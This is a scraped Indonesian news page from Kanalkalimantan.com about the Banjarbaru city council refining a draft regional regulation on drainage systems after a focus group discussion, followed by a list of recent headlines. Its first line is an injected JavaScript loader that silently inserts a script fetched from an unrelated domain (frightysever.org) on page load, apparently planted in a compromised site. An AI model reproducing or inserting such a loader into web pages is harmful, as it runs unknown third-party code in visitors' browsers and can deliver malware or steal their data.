(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Matangkan Draf Raperda Penyelenggaraan Sistem Drainase


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah Kota Banjarbaru mematangkan draft Rancangan Peraturan Daerah (Raperda) penyelenggaraan sistem drainase yang merupakan Raperda inisiatif legislatif.

Wakil Ketua Komisi III DPRD Kota Banjarbaru Ririk Sumari S di Kota Banjarbaru mengatakan, pihaknya sudah menggelar Focus Group Discussion (FGD) membahas raperda inisiatif DPRD itu.

“Kami sudah menggelar FGD sebagai bagian dari upaya mematangkan Raperda penyelenggaraan sistem drainase mengundang pihak terkait baik pemerintah maupun kalangan akademisi,” ujar Ririk usai FGD, Selasa (19/3/2024) siang.

Ririk menuturkan, FGD yang diinisiasi Komisi III menggelar FGD yang diikuti DPUPR, Forum RT/RW, dan Lembaga Penelitian dan Pengabdian Masyarakat (LPPM) Universitas Lambung Mangkurat.

Baca juga: PSK Terjaring Patroli Malam Ramadan Satpol PP Banjarbaru

FGD bertujuan mendengar saran dan masukan dari masyarakat yang diwakili Forum RT/RW serta anggota Komisi III sebagai pengusul Raperda inisiatif sebelum dibahas di tingkat panitia khusus (Pansus).

“Kami semua sepakat agar Pemko menyiapkan sistem drainase yang terintegrasi di seluruh Banjarbaru dengan peraturan daerah tentang penyelenggaraan sistem drainase sebagai payung hukum,” ucapnya.

Politisi perempuan dari PKB itu, selain penataan kota, penataan sistem drainase memiliki tujuan agar sudut kota terhindar dari genangan dan banjir sesuai rencana mitigasi banjir.

“Kami bersama anggota DPRD lain berpikir sudah waktunya Banjarbaru memiliki Raperda yang menaungi sistem drainase, sehingga penataan drainase menjadi terukur dan terarah dengan baik,” ucapnya.

Baca juga: Hari Tuberkulosis Sedunia 2024 “Yes! We Can End TB”, Ini Langkah Pencegahannya

Kepala Bidang Sumber Daya Air (SDA) DPUPR Kota Banjarbaru Muhammad Deny Pramudji sangat mengapresiasi Raperda inisiatif yang diusulkan DPRD Banjarbaru itu.

“Sangat mendukung dan meminta agar draft Raperda dapat sinkron dengan masterplan mitigasi banjir yang bisa dilihat dari rencana tata ruang wilayah Banjarbaru tahun 2023-2043,” katanya. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk


Risa

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

60 menit ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

1 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

2 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

6 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

8 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

8 jam ago

This website uses cookies.